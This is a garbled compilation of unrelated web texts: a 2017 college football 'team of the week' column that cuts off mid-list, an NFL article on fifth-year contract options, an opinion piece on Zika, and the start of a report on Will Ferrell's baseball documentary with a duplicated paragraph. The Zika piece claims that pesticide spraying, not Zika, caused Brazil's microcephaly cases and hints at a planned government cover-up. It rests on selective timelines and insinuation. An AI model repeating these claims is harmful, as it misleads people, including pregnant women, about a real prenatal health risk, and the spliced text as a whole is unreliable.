Team of the week: Iowa (def. No. 6 Ohio State, 55-24)
Just last year in Iowa City, Kirk Ferentz’s Iowa Hawkeyes threw a major kink in Michigan’s title plans, upsetting Jim Harbaugh’s Wolverines in mid-November. Earlier this season, they almost did the same to Penn State.
Those were close games, however. Iowa 14, Michigan 13. Penn State 21, Iowa 19.
Late in the second quarter of their win over Ohio State on Saturday, the Hawkeyes began turning this into something other than an upset. Nate Stanley and Noah Fant connected for a 25-yard score with 3:06 left in the half, giving them a 24-17 lead. Then Joshua Jackson picked off J.T. Barrett, setting up a 3-yard Stanley-to-Fant touchdown and giving them a 14-point halftime lead. Late in the third quarter, it was 38-17.
And then the points kept coming. Ohio State went three-and-out, and Iowa drove 60 yards. 45-17. Jackson picked off Barrett again, and Iowa added a field goal. 48-17. Ohio State scored, but Iowa recovered an onside kick and rushed five straight times for another touchdown.
The upset wasn’t a stunner. The margin was. Iowa sat on top of the bully, one it had only defeated once in 20 years, and didn’t stop punching. The Hawkeyes scored their most points ever on Ohio State. They scored more than anyone had scored on the Buckeyes in 23 years and the fifth-most ever. They scored the most ever on an Urban Meyer team, period.
All this a week after Ohio State proved its bona fides with a comeback win over Penn State. The Buckeyes showed up in Iowa City expecting a bit of a challenge and another win. They were not ready for what awaited them. They paid the price.
Any in-conference blowout of Ohio State is surprising. The way this one came about was even more so.
That Iowa was able to frustrate Barrett, force four turnovers, and hold the Buckeyes to a decent-not-great 5.7 yards per play wasn’t a shocker. Barrett’s carelessness a week after his shining moment was disappointing, but it wasn’t out of the realm of possibility in this funky sport. Iowa, after all, did come into the game ranked 16th in Def. S&P+. This was more opportunism than domination, and the former is far more common in an upset than the latter.
(That Ohio State completely forgot about its running backs in a loss was also not the most surprising thing in the world. J.K. Dobbins and Mike Weber averaged 7.1 yards per carry ... on all of 11 carries.)
The offense, though? Iowa ranked 99th in Off. S&P+ after nine weeks, held back by dreadful run inefficiency (113th in rushing success rate) and the typical Ferentzian insistence on running the ball. Ohio State, meanwhile: 12th in Def. S&P+ and first in Rushing S&P+.
Ohio State dominated Penn State’s offensive front a week ago, shutting down star Saquon Barkley in the second half. But the Buckeyes allowed Akrum Wadley and James Butler to gain 192 yards in 30 carries.
Stanley played off this run success perfectly, completing 20 of 31 passes for 226 yards. Tight ends Fant and T.J. Hockenson caught nine balls for 125 yards and four scores. Fullback Drake Kulick caught a touchdown pass as well.
The Hawkeyes hadn't averaged more than 6.1 yards per play all season. With an indomitable running game and lots of big dudes running pass routes, they averaged 7 per play against one of the best defenses in the country. The turnovers helped to turn this into a rout, sure, but Iowa still had scoring drives of 89, 80, 78, 63, 60, and 47 yards.
College football is always offering us something we're not ready for.
Other teams of the week
2. No. 5 Oklahoma (def. No. 11 Oklahoma State, 62-52)
That was exhausting and only sort of a football game. But OU combined a lucky early break and more than a half-mile of yardage to overcome a bowlful of adversity (some self-made) and a relentless rival. And the Sooners are still alive in the national title race because of it.
3. No. 24 Michigan State (def. No. 7 Penn State, 27-24)
After qualifying for the 2015 College Football Playoff, Mark Dantonio’s Spartans went 3-9 last fall, then suffered massive attrition in the offseason. I thought I was being optimistic by thinking that a reset roster could figure enough out to eke out a bowl bid in 2017.
Instead, after yesterday’s storm-delayed, last-second win over PSU, Sparty is tied with Ohio State atop the Big Ten West and will face the suddenly reeling Buckeyes for a likely conference title game bid next Saturday.
Things change quickly. Things can change back just as quickly, too.
4. No. 10 Miami (def. No. 13 Virginia Tech, 28-10)
The Hurricanes averaged 7.4 yards per play, allowed 4.0, and passed the turnover chain around four times. They even had a celebrity turnover chain. Hard Rock Stadium was rocking like the Orange Bowl. This was one hell of a statement, even if the offense was a little bit more unstable than I would prefer.
5. UAB (def. Rice, 52-21)
A 52-21 victory has your BOWL ELIGIBLE!!!!!!! Celebrate good times Birmingham!#GreaterBHAM pic.twitter.com/zLcUsEEV2k — UAB Football (@UAB_FB) November 4, 2017
College football’s favorite zombie program is going bowling. I just cannot tell you how impressed I am with the Blazers and head coach Bill Clark. The Blazers’ mere existence is a more unlikely win over Alabama than Clemson’s in last year’s national title game. That Clark is actually building a viable program as well is just stunning.
6. Army (def. Air Force, 21-0)
Put yourself in position to win your first Commander-in-Chief’s Trophy in 21 years? Check. (The Army-Navy winner will take the trophy, thanks to each team’s win over Air Force.) Do it without throwing a pass? Check.
7. No. 9 Wisconsin (def. Indiana, 45-17)
One of the primary themes emerging from Saturday was “The Big Ten is doomed!” Ohio State and Penn State were each all but eliminated from national title contention, yes, but ... Wisconsin remained undefeated, romping over an Indiana that has been pretty competitive. And they did it in a very Wisconsin way, easing in (down 10-0 after 16 minutes) and then physically dominating.
Jonathan Taylor rushed for 183 yards, the defense forced three turnovers, and the Badgers gave the Hoosiers almost nothing after the early going.
If the Badgers win out (which would include a win over probably either Ohio State or Michigan State in the Big Ten title game), I highly doubt the CFP committee will keep them out, if not because of UW’s résumé, then because a few more top teams are likely to lose and clear the path.
8. Northwestern (def. Nebraska, 31-24)
Every Northwestern-Nebraska game comes down to the wire — it is one of the most reliably dramatic series in college football — but it would have been nice if Northwestern had given its fans a week off from craziness.
No FBS team has ever won three straight overtime games.
CHALLENGE ACCEPTED. #B1GCats — #B1GCats Football (@NUFBFamily) November 4, 2017
9. ULM (def. Appalachian State, 52-45)
Matt Viator took on one of the hardest jobs in FBS in 2016. He just scored his best win yet, when his Warhawks lost a halftime lead to Sun Belt heavyweight Appalachian State, got it back, lost it again, then won anyway. They drove 60 yards for the go-ahead score with 3:17 left, then watched the Mountaineers tie it up with 53 seconds left.
No worries! And no overtime! Caleb Evans and R.J. Turner connected for a 50-yard game-winner with 23 seconds left, moving the Warhawks to 4-5 for the season. Bowl eligibility isn’t likely — their remaining games are against Auburn, Arkansas State, and, assuming it is rescheduled, Florida State — but this was a big win all the same.
10. Rutgers (def. Maryland, 31-24)
Speaking of nod-worthy 4-5 teams ... after a 1-4 start, Chris Ash’s Scarlet Knights have won three of their last four games. They, too, will struggle to get to six wins — they still have to go to Penn State and host Michigan State — but after serving as the butt of plenty of jokes last season (and early this year), they are showing definitive improvement late in Ash’s second year.
This piece has taken on quite the Big Ten theme.
TWO BONUS TEAMS:
11T. Wyoming and Colorado State (UW won, 16-13)
Here's a look at the 2013 first-round picks and where their option outlooks currently stand, along with the price tag for each player.
1. Eric Fisher, OT, Kansas City Chiefs (5th Year: $11.9 million)
Outlook: The Chiefs are still holding out hope that a healthy Fisher fully arrives as a left tackle in his fourth year. Barring an elite tackle unexpectedly slipping to the bottom of the first round of the draft, Kansas City isn't expected to devote a high draft pick to the position. Losing this year's third-round pick for free-agent tampering with (pending an appeal to NFL commissioner Roger Goodell) also limits a potential top offensive line addition early in the draft.
Likelihood option is picked up: High. Fisher is one of the trickier options in the pool. He had flashes last season, but also significant struggles and injury concerns. Similar to Matt Kalil's fifth-year option decision with the Minnesota Vikings last year, the Chiefs' brain trust still believes Fisher can be productive and consistent if healthy. Left tackle is also a premium position, so a high-reward aspect remains. The one-year addition at $11.9 million isn't cheap, but that number is guaranteed only if Fisher suffers a catastrophic injury and can't play in 2017. The Chiefs will likely attempt to extend Fisher before triggering the option – hoping to get him under a depressed or incentive-laden deal. If that doesn't happen, the potential upside and limited risk of triggering the option makes it a solid risk at an important position. But Kansas City could also risk Fisher breaking through next season and using the transition tag in hopes of retaining him at an average price that wouldn't be considerably higher than his $11.9 million option number (and could conceivably be lower). Or the Chiefs could let him go in free agency and potentially recoup a compensatory pick, then roll the dice in what could be a target-rich 2017 free agency at the tackle spot. All of these options are currently on the table, but this all may depend on belief. Do the Chiefs still believe he can turn the corner? Yes.
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The Chiefs believe Eric Fisher can be a productive left tackle. (AP)
2. Luke Joeckel, OT, Jacksonville Jaguars (5th Year: $11.9 million)
Outlook: Joeckel's final game last season was a bloodbath, as he surrendered five sacks in an ugly loss to the Houston Texans. He gave up only two sacks the rest of the season, but he still graded out as average in his best performances. Unlike Fisher in Kansas City, he hasn't had enough flashes to tease a potential breakthrough. That puts the Kelvin Beachum signing into context. It's a hedge by the coaching staff in case the light never turns on for Joeckel.
Likelihood option is picked up: Low. The Beachum contract says a lot. It's a one-year deal with a sizable option for an additional four years. It pits Beachum against Joeckel in the hopes that one of the two quickly surfaces as a legitimate long-term cog in the preseason. If Beachum is healthy and wins the job in camp, Joeckel can be retained for depth or dangled to a tackle-needy team in exchange for a late draft pick. He could also be potentially slid inside. Either way, Joeckel's trade value is arguably highest if he isn't carrying that fifth-year salary at $11.9 million, (which would be guaranteed for injury). The only other avenue would be Joeckel agreeing to a significantly depressed contract extension, which isn't likely.
3. Dion Jordan, DE, Miami Dolphins (5th Year: Not available)
Outlook: Jordan was suspended last season for multiple violations of the NFL substance-abuse policy. That caused his contract to toll, and he does not have the required four seasons to be eligible for a fifth-year option. When (if) Jordan is reinstated for the upcoming season, he will be playing under his 2015 contract terms.
4. Lane Johnson, OT Philadelphia Eagles (5th Year: Not available)
Outlook: Johnson signed a five-year, $56.2 million contract extension in January.
5. Ziggy Ansah, DE, Detroit Lions (5th Year: $12.7 million)
Outlook: Lions general manager Bob Quinn has said the team is working on picking up Ansah's fifth-year option. Cap room won't be a factor. The Lions will have plenty of space to accommodate the option price in 2017. Ansah has gotten better every year and developed into one of the NFL's best pass rushers. He's not going anywhere. At the current rate for elite pass rushing defensive ends, $12.7 million for one season is a bargain.
Likelihood option is picked up: High. Expect Detroit to pick up the option and begin preliminary talks on a contract extension that would likely be signed after next season.
6. Barkevious Mingo, OLB, Cleveland Browns (5th Year: $11.9 million)
Outlook: Mingo has been working this offseason to add bulk to his long frame, in hopes of gaining leverage and strength. That could help setting the edge against the run. The new regime has played it cool on potentially picking up Mingo's option, likely because the staff wants to see what he looks like in the "voluntary" veteran minicamp in late April. The return of defensive coordinator Ray Horton adds a dimension to the decision, too. Horton was Cleveland's defensive coordinator for one season in 2013, coinciding with what was arguably Mingo's best year in the NFL. But even with Horton in his corner, $11.9 million for one year is a steep price tag for Mingo, who was primarily used on special teams last season.
Likelihood option is picked up: Low. There are several factors in play with this option. First, picking it up would hurt Mingo's potential trade value should he be on the roster bubble. If the Browns end up looking to flip him for a draft pick at the end of the preseason, he's more attractive without an injury-guaranteed fifth year at $11.9 million. Second, the new Browns regime is in full rebuild mode, and declining a fifth-year option could work twofold for the franchise if Mingo plays well. If he blossoms, the Browns can allow him to sign elsewhere following 2016 and recoup a compensatory draft pick – as they've done with several players in this free agency. The team could also choose to apply the transition tag and match whatever offer he receives on the open market. And any long-term deal with another team will likely be a cheaper average than the $11.9 million Mingo would get under the fifth year. Those scenarios make more sense than absorbing the injury risk and hoping Mingo breaks through and justifies a high price in 2017.
7. Jonathan Cooper, OG, New England Patriots (5th Year: $11.9 million)
Outlook: The Arizona Cardinals shipped Cooper to the Patriots along with a second-round pick for defensive end Chandler Jones. Cooper was more of a sweetener in the deal than a coveted piece. He missed his rookie season with a broken leg and never materialized as the gifted athlete the Cardinals thought they were drafting. He could compete for a starting job in New England, but little is guaranteed at this point.
Likelihood option is picked up: Low. The personnel department is continually running dark, so there's really no telling what the Patriots will do. But there are some markers. First, Cooper's $11.9 million price for 2017 is blown out for his position. It's nearly 50 percent higher than the top-end base salary for elite guards (which was $8 million per year, prior to Kelechi Osemele's megadeal this offseason). Second, from a performance standpoint, Cooper has shown nothing to justify the option being picked up. Third, the Patriots have yet to coach Cooper in a live atmosphere. They'd be picking up the option based only on film when he was with the Cardinals. And finally: Cooper already lost one full season to a significant injury. There is high risk he could suffer another and trigger an injury guaranteeing the $11.9 million in 2017. That's a lot of risks for an unknown commodity.
8. Tavon Austin, WR, Los Angeles Rams (5th Year: $12.2 million)
Outlook: The Rams have two players eligible for fifth-year options – Austin and linebacker Alec Ogletree. The key difference is Ogletree has a more palatable price ($8.3 million). Meanwhile, Austin's $12.2 million salary would land him sixth in wide receiver pay in 2017 – more highly paid than true No. 1 receivers Larry Fitzgerald, Jeremy Maclin, Jordy Nelson and others. That's a lofty perch for a player who has been an offensive utility piece rather than a true No. 1. Austin simply hasn't proven valuable enough to justify taking the injury risk on a pricey fifth-year option.
Likelihood option is picked up: Low. The Rams have all but said they would like to find a way to sign Austin to a contract extension. While that's the case for many players facing big fifth-year price tags, this effort is more likely an indicator that the Rams are approaching Austin's fourth season as the last in his contract.
Tavon Austin had five receiving touchdowns for the Rams last season. (Getty Images)
9. Dee Milliner, CB, New York Jets ($11.9 million)
Outlook: Milliner has barely played the past two seasons and has a history of serious injuries. He entered the 2015 preseason on the roster bubble. To say he has been a sizable disappointment is an understatement. There is no realistic basis of argument at this point that would make him worth an $11.9 million salary in 2017.
Likelihood option is picked up: Low. Milliner is arguably the highest injury risk in this pool of fifth-year options. He hasn't lived up to his draft position, and like several others from this class, Milliner could get flipped for a draft pick in the preseason if he's in danger of being cut. His potential to be traded and injury history make his fifth-year option almost nonsensical.
10. Chance Warmack, OG, Tennessee Titans (5th Year: $11.9 million)
Outlook: Warmack dealt with a knee injury and had a rough start in 2015, but finished with a far better second half of the season. His good games were solid, while his bad games were often particularly bad. But the growth curve for NFL guards has also taken a little longer in recent years, and Warmack's adjustment to the NFL has showed similarity to his rise at Alabama. The new Titans regime thinks Warmack can take a big stride in consistency in his fourth year. That's key. For his part, Warmack has spent more time this offseason working on his strength, conditioning and flexibility, and is expected to return in the best shape of his career.
Likelihood option is picked up: High. Yes, Warmack has not lived up to his massive billing entering the NFL. But his second half of last season was a much-needed step in the right direction. The $11.9 million option price is very high for a guard, but Warmack has shown signs of being an important piece in the Titans future. Tennessee also has the cap room to absorb the salary hit in 2017. The team isn't looking to cut loose talented offensive line resources in front of quarterback Marcus Mariota, either. And Warmack is the style of guard that suits the skillset of running back DeMarco Murray. Those factors will loom large in the decision.
11. D.J. Fluker, OG, San Diego Chargers (5th Year: $8.8 million)
Outlook: Fluker has regressed since being a highly touted pick, and now has slid over to guard from his tackle spot. That's where he's expected to remain in 2016. There's no way around it – last season was a big step backward.
Likelihood option is picked up: High. If he's not an offensive tackle, Fluker simply hasn't proven he's worth top-end guard money, which is what his fifth-year option would represent at $8.8 million. But regimes tend to give first-round picks every chance to fail, and it's likely Fluker will get that. If he flops again next season, he can be cut before the salary becomes guaranteed (barring an injury guaranteeing it).
12. D.J. Hayden, CB, Oakland Raiders (5th Year: $8 million)
Outlook: Hayden has been a disappointment in three years for the Raiders and was benched a few times down the stretch last season. He was also ripped for not practicing hard by the coaching staff. He isn't expected to be a starter when training camp arrives – a rough reality when you consider the number of good-to-serviceable cornerbacks taken in the 2013 NFL draft.
Likelihood option is picked up: Low. In some ways, the decision on Hayden mirrors the tough choice the Dallas Cowboys had to make on Morris Claiborne last year. It's hard to bail on a highly drafted corner. But Hayden hasn't shown anything to justify an $8 million commitment in 2017. Much like Claiborne in Dallas, the franchise can only hope making 2016 his contract year will motivate him.
13. Sheldon Richardson, DE, New York Jets (5th Year: $8 million)
Outlook: Even with his suspension last season, Richardson's fifth-year option price of $8 million is a bargain for what he brings to the table. He's an edge rusher who (when he's at his best) is above average against the run and a special player when it comes to pressuring the quarterback. His off-field behavior last season was clearly a problem, but, again, the option is guaranteed only for injury.
Likelihood option is picked up: High. As easy as it is for the Jets to decline Dee Milliner's fifth-year option, it's equally as easy for the Jets to pick up Richardson's.
14. Star Lotulelei, DT, Carolina Panthers (5th Year: $6.7 million)
Outlook: Lotulelei has been everything the Panthers hoped. And his $6.7 million price for a fifth year is cheap compared to the long-term deal he'll eventually sign.
Likelihood option is picked up: High. Panthers general manager Dave Gettleman said the team will pick up Lotulelei's option.
15. Kenny Vaccaro, S, New Orleans Saints (5th Year: $5.6 million)
Outlook: Vaccaro bounced back from a rough 2014 season and was a solid starter for the Saints. That essentially sandwiched two solid seasons around one bad one in his first three seasons. He's expected to be a long-term defensive piece, barring another slump next season.
Likelihood option is picked up: High. Like Eric Fisher in Kansas City, this is one of the trickier fifth-year options. Partially because Vaccaro had such a terrible 2014 season, and partially because the option year price would pay him like he's a top-10 safety, which he is not at the moment. That said, if Vaccaro takes another solid step forward, the $5.6 million price wouldn't be wildly out of whack. And there is always the opportunity to do a new contract before the 2017 salary kicks in, or cut him before it becomes guaranteed (barring an injury guarantee already locking it in).
Kenny Vaccaro has developed into a solid safety for the Saints. (AP)
16. EJ Manuel, QB, Buffalo Bills (5th Year: $11.3 million)
Outlook: With Tyrod Taylor earmarked to be the starter at quarterback, Manuel is officially an NFL backup. And the position is not expected to be an open competition next season.
Likelihood option is picked up: Low. The reality is Manuel hasn't done anything to seize his opportunities at becoming a starter, and his fifth-year option price of $11.3 million is that of a lower-third starter in the NFL. Buffalo could take the route that the Washington Redskins used with Robert Griffin last season – picking up Manuel's option and then deactivating him the entire season … then cutting him before the 2017 salary becomes guaranteed. But that would be a lot of drama for very little upside. And declining the option enhances the possibility that Manuel could be traded if he has a solid training camp (like Matt Cassel last year).
17. Jarvis Jones, LB, Pittsburgh Steelers (5th Year: $8.3 million)
Outlook: He played only 44.8 percent of the defensive snaps the past two seasons, largely because the staff has come to view him as a rotational linebacker. He simply hasn't lived up to his big-impact potential.
Likelihood option is picked up: Low. He's a platoon linebacker who can't stay on the field for every package. And he doesn't make enough big plays. Any deal he signs in free agency next year will have a far lower per-year average than his $8.3 million fifth-year option price. That makes it financially nonsensical to pick up the option.
18. Eric Reid, S, San Francisco 49ers (5th Year: $5.6 million)
Outlook: Reid regressed in a big way since his 2013 Pro Bowl season. His past two seasons have been marked by inconsistency, and 2015 was arguably the worst of his NFL career. That said, he remains the starter at free safety and will have another season to bounce back under new defensive coordinator Jim O'Neil.
Likelihood option is picked up: Low. There is a lot of risk here. Reid has already suffered multiple concussions and the potential for his fifth-year salary being guaranteed because of injury is real. He's also said he has considered retirement because of past head trauma. Even if Reid bounces back next season, the per-year average for a new contract wouldn't be wildly out of line for the $5.6 million he'd get under his option year. Picking up the option puts the 49ers in the position to assume most of the risk, and that doesn't make a great deal of sense.
19. Justin Pugh, OG, New York Giants (5th Year: $8.8 million)
Outlook: Pugh flourished at guard last season, having the best year of his career. He still has the flexibility to play tackle if the Giants decide to shuffle their line, too. That only adds to his value, and the Giants see him as a long-term staple on the line.
Likelihood option is picked up: High. Given his positional flexibility, Pugh's $8.8 million price for 2017 is a solid buy for the Giants. He's not going anywhere.
20. Kyle Long, OT, Chicago Bears (5th Year: $8.8 million)
Outlook: Like Pugh with the Giants, Long has great positional flexibility and could ultimately end up back at guard. He'll go wherever it's deemed he can have the greatest impact.
Likelihood option is picked up: High. He's a three-year Pro Bowler who could be an All-Pro staple if he ultimately settles back in at guard. For a fifth year, $8.8 million is a bargain.
21. Tyler Eifert, TE, Cincinnati Bengals (5th Year: $4.7 million)
Outlook: The Bengals had been expecting Eifert to blossom heading into last season and he did exactly that. Barring injury, he should be a staple amongst the NFL's elite tight ends going forward.
Likelihood option is picked up: High. $4.7 million for a fifth season is a pittance for what Eifert brings to the table. With the losses at wide receiver this offseason, Eifert should see more opportunities than ever starting this season.
22. Desmond Trufant, CB, Atlanta Falcons (5th Year: $8 million)
Outlook: Trufant has been a good and reliable piece at cornerback for three years. He's also been durable, never missing a game in his NFL career. A Pro Bowler last season, he's lived up to his first-round billing.
Likelihood option is picked up: High. The Falcons are very happy with him and will pick up his $8 million salary in 2017 with a smile.
23. Sharrif Floyd, DT, Minnesota Vikings (5th Year: $6.7 million)
Outlook: Floyd's production dipped last season, but the staff felt like part of that was because of injuries. He's written into the long-term plans, and the Vikings won't have to worry about the financial pressure of picking up three fifth-year options in one class (See: Cordarrelle Patterson further down).
Likelihood option is picked up: High. The Vikings gave offensive tackle Matt Kalil the benefit of the doubt because of injuries one year ago, and Floyd has performed far better (and more consistently) than Kalil did before his option was picked up.
24. Bjoern Werner, LB, Indianapolis Colts (5th Year: Not available)
Outlook: Werner was released by the Colts this offseason and is a free agent.
25. Xavier Rhodes, CB, Minnesota Vikings (5th Year: $8 million)
Outlook: The Vikings would surely like to see a little more bang for their buck in the turnover department (only two interceptions in three years), but Rhodes has emerged as a fine cornerback. He had some struggles early last season, but bounced back with a strong second half. He's in the long-term plans.
Likelihood option is picked up: High. There are moments when Rhodes looks like he could be special. He's not there yet, but even at his current level, he's a solid starting cornerback who can hold his own against the pass and run. For the fifth year, $8 million is affordable.
26. Datone Jones, DE, Green Bay Packers (5th Year: $8 million)
Outlook: Jones has been a rotational piece and never really broken through, despite showing some occasional flashes of brilliance. He's never played more than 37.9 percent of snaps and never found one particular part of his game that is special on the NFL level.
Likelihood option is picked up: Low. The Packers didn't pick up Nick Perry's fifth-year option last year for many of the same issues that Jones is carrying right now. Bottom line, Jones' $8 million price for a fifth-year option is too high for a rotational player, and Green Bay could still re-sign him after his deal expires following next season (as they did with Perry this year).
DeAndre Hopkins (Getty Images)
27. DeAndre Hopkins, WR, Houston Texans (5th Year: $7.9 million)
Outlook: He became a star last season. You don't have to say much more than that. And it was without even an adequate situation at quarterback. He's a cornerstone.
Likelihood option is picked up: High. $7.9 million for a player who will likely be jockeying to be the best wideout in the NFL by 2017 is a done deal.
28. Sylvester Williams, DT, Denver Broncos (5th Year: $6.7 million)
Outlook: Williams improved last season, and with another step forward could finally solidify himself as a solid first-round pick. He played almost 50 percent of the defensive snaps this year and that should bump up a little more next season.
Likelihood option is picked up: High. Denver's cap room in 2017 should be very solid (even with some extensions coming), and while Williams' fifth-year option price of $6.7 million seems a little high right now, it should be palatable with another solid season. The Broncos will surely try to sign him to an extension at some point if he makes progress next year, too.
29. Cordarrelle Patterson, WR, Minnesota Vikings (5th Year: $7.9 million)
Outlook: Patterson was relegated to a kick return specialist last season and was written out of the offensive plans. With the NFL approving a one-year rule change that will move touchbacks to the 25-yard line, Patterson's value will arguably be diminished even further.
Likelihood option is picked up: Low. His fifth-year option price is that of a solid No. 2 wideout. He simply doesn't do enough to justify that.
30. Alec Ogletree, LB, Los Angeles Rams (5th Year: $8.3 million)
Outlook: Ogletree appeared to be taking a step forward last season as a run defender before breaking his leg. Now the Rams will move him to inside linebacker to shore up the loss of James Laurinaitis. The staff feels like he'll thrive in that role.
Likelihood option is picked up: High. Rams head coach Jeff Fisher all but said the team will be picking up Ogletree's fifth-year option if a contract extension can't be worked out first.
31. Travis Frederick, OC, Dallas Cowboys (5th Year: $8.8 million)
Outlook: Frederick is easily the best offensive lineman from the first round of the 2013 draft. A two-time All Pro and two-time Pro Bowler who has played every single offensive snap for Dallas since he was drafted.
Likelihood option is picked up: High. He's worth every penny of the $8.8 million he'll get under the fifth-year option.
32. Matt Elam, S, Baltimore Ravens (5th Year: $5.6 million)
Outlook: Eric Weddle was signed to be the starting strong safety, so Elam's value and opportunity has been greatly reduced.
Likelihood option is picked up: Low. Elam is slated to be a backup. His fifth-year option price of $5.6 million is far out of line with the number.
By Wendell Forster
After reading numerous reports regarding the Zika virus circulating in the mainstream and alternative media, the question must be asked, “Why is everyone clambering to blame Zika for the cases of Microcephaly that have been occurring?” Before making such a knee-jerk reaction, a number of facts must first be considered.
The first reported outbreaks of Microcephaly which the WHO appeared to link to Zika occurred on 30th October 2015.
The WHO reported that,
“30 October 2015: Brazil reports an unusual increase in the number of cases of microcephaly among newborns since August, numbering 54 by 30 October.”
The first reported potential detection of Zika in Brazil was 2nd March 2015. WHO reported,
“2 March 2015: Brazil notifies WHO of reports of an illness characterized by skin rash in northeastern states. From February 2015 to 29 April 2015, nearly 7000 cases of illness with skin rash are reported in these states. All cases are mild, with no reported deaths. Of 425 blood samples taken for differential diagnosis, 13% are positive for dengue. Tests for chikungunya, measles, rubella, parvovirus B19, and enterovirus are negative. Zika was not suspected at this stage, and no tests for Zika were carried out.”
But you will note Zika was not suspected and tests were not conducted. The official Zika confirmation didn’t come until 7th May 2015 when Brazil’s National Reference Laboratory confirmed the Bahia State Laboratory’s report of a positive test dated 29th April 2015.
Again, from the WHO,
“7 May 2015: Brazil’s National Reference Laboratory confirms, by PCR, Zika virus circulation in the country. This is the first report of locally acquired Zika disease in the Americas.”
The increase in cases of Microcephaly started occurring only 7 months after detection. Clearly, the human gestation period is 9 months. So that does not tally with the first potential reports of Zika on 2nd March.
Prior to Zika being reported in Brazil the country was already in the grip of a Dengue fever outbreak and this is part of the advice from a Pan American Health Organisation PDF document entitled “Epidemiological Alert: Chikungunya And Dengue Fever In The Americas.” [Download HERE, WHO removed the previous link]
The advice is as follows:
Implement breeding site control measures through the use of physical, biological and chemical methods, while actively involving communities.
Identify high risk of transmission areas (risk stratification) and prioritize those where there are concentrations of people (e.g.: schools, transportation terminals, hospitals, health centers, etc.). The presence of mosquitoes should be removed at a diameter of at least 400 meter radius around these facilities.
In areas where an autochthonous or imported case of chikungunya transmission is detected, adulticide treatment (primarily through spraying) could be used to remove infected adult mosquitoes in order to interrupt transmission. It is important to take into account that this action is exceptional and is only effective when executed by adequately trained personnel following internationally accepted technical guidelines and when performed concomitantly to other proposed actions ( as described above). Spraying is the primary manner to intensively interrupt transmission and obtain time to consolidate the removal of larval habitats.
Select appropriate insecticide (in accordance with PAHO/WHO recommendations), verify the product label and formula, and consider the susceptibility of mosquito populations to that insecticide.
Maintain and use spraying equipment in an appropriate manner and maintain a stockpile of insecticides.
If spraying began after this date then this would coincide more with the increased incidents of Microcephaly which began being reported in Brazil since August 2015.
As the WHO states,
30 October 2015: Brazil reports an unusual increase in the number of cases of Microcephaly among newborns since August, numbering 54 by 30 October.
The number of Microcephaly cases has only grown since then:
11 November 2015: Brazil reports 141 suspected cases of microcephaly in Pernambuco state. Further suspected cases are being investigated in two additional states, Paraiba and Rio Grande do Norte.
But these reported cases would have been conceived prior to the reported outbreaks of Zika so a causal link to Zika would have been unlikely. The far more likely cause would be the pesticides that are being utilized (In Florida they are utilizing the very creepily named NALED) which are known to be toxic to humans and with high or repeated dosage can lead to neurological effects, breathing problems, heart issues and other health conditions amongst children and adults and are potentially very harmful to unborn children.
How can a virus, discovered in 1947, go from 0 related deaths and 0 related reports of Microcephaly to sudden and massive ‘connections’ to Microcephaly and other Neuro disorders? How are these connections made?
Many of us will have seen Brazilian government agencies spraying pesticide in high volumes in and around the country’s numerous Olympic sporting venues. Thousands upon thousands of people will unknowingly come in to contact with the residual pesticides that will have coated everything in the area from walls to railings, steps, and seats. Many of these will be women who may well be pregnant or who may well go on to conceive soon after they leave (indeed some conception may take place in Brazil).
So the next phase is likely to see a global outbreak of Microcephaly followed by the Government and Media shit storm, maybe even a suspiciously timed report finding the ‘Zika Carrying’ mosquitoes in the area where the outbreak has occurred, followed by the WHO recommending pesticide spraying in the affected areas. And so the cycle continues.
Just look at Florida. They have alleged that people have tested positive for the Zika virus following mandatory provision of urine samples collected door to door by government agents. Has anyone followed those agents to the labs and watched the positive result being produced from their sample? I feel confident they have not.
The government has got some alleged positive results and, from this, it has made the decisions to spray heavily populated areas of Florida with the NALED pesticide prior to any reported cases of Microcephaly occurring. These heavily populated areas will undoubtedly have many women who have recently conceived and many others who are likely to conceive soon and they are all being dosed with NALED. The Florida Department Of Health is on record saying that exposure to NALED “could cause a person to salivate more, feel numbness, headaches, dizziness, tremors, nausea, abdominal cramps, sweating, blurred vision, difficulty breathing and a slowed heartbeat.”
And the description of NALED provided by the Pesticide Management Education Programme out of Cornell University has this to say about NALED:
Naled is moderately to highly toxic by ingestion, inhalation and dermal adsorption. Vapors or fumes of naled are corrosive to the mucous membranes lining the mouth, throat and lungs, and inhalation may cause severe irritation. A sensation of tightness in the chest and coughing are commonly experienced after inhalation. As with all organophosphates, naled is readily absorbed through the skin. Skin which has come in contact with this material should be washed immediately with soap and water and all contaminated clothing should be removed. Persons with respiratory ailments, recent exposure to cholinesterase inhibitors, impaired cholinesterase production, or with liver malfunction may be at increased risk from exposure to naled. High environmental temperatures or exposure of naled to visible or UV light may enhance its toxicity.
Where did the Florida agencies involved in spraying suddenly get hold of such large quantities of NALED? To begin spraying such large volumes so soon after the initial alleged Zika detection would suggest that this spraying has been planned for some time. If it could be shown that the orders were placed well in advance of the spraying commencing it would certainly beg a number of questions. I certainly hope that someone begins looking into this aspect immediately.
Meanwhile, in Colombia, out of 12,000 pregnant women up to 28th March, 2016 who were symptomatic of Zika, none gave birth to babies with Microcephaly. At the same time, four other women who were symptomless gave birth to four Microcephaly babies. This low level of just four births is in line with the natural ‘background’ occurrence of Microcephaly which runs at around 2/10000. How can one country have 1,500 cases somehow linked to Zika but a neighbouring country have none?
With all this in mind, many should start taking a look at the possibility that the rates of Microcephaly may be more connected to the application of pesticides and human exposure to them than anything related to Zika itself.
Image by Natural Blaze, pixabay
SAN DIEGO -- Although he looks like a very normal guy -- he might resemble your high school algebra teacher or the neighbor down the street who was always fixing something in the driveway -- Will Ferrell most definitely does not just blend in when he's out among the people.
SAN DIEGO -- Although he looks like a very normal guy -- he might resemble your high school algebra teacher or the neighbor down the street who was always fixing something in the driveway -- Will Ferrell most definitely does not just blend in when he's out among the people.
That was never more apparent than Saturday night at Petco Park, where Ferrell's superstar status was front and center amidst a sellout crowd at the Padres-Dodgers game. This wasn't just any typical night in San Diego, of course. Ferrell, one of the most celebrated comedic actors of his generation, was in San Diego to introduce his latest venture, "Ferrell Takes the Field," a documentary detailing every twist and turn during Ferrell's jaunt through the Cactus League last Spring Training in Arizona.
"Ferrell Takes the Field," a joint venture between HBO, Funny or Die and Major League Baseball that will air on HBO Saturday, Sept. 12 at 10 ET, was shown on the giant scoreboard at Petco Park following the Dodgers-Padres game. Ferrell was on hand to address the crowd, introduce the movie and thank all who were involved in putting it together.
• "Ferrell Takes the Field" auction
The brief ceremony, however, was a bit more involved than just a general salute to the crowd.
First, Baseball Hall of Fame president Jeff Idelson was on hand to present Ferrell with a Hall of Fame jersey and plaque, commemorating Ferrell's unprecedented journey during which he played 10 positions for 10 teams during five games, all in one day.
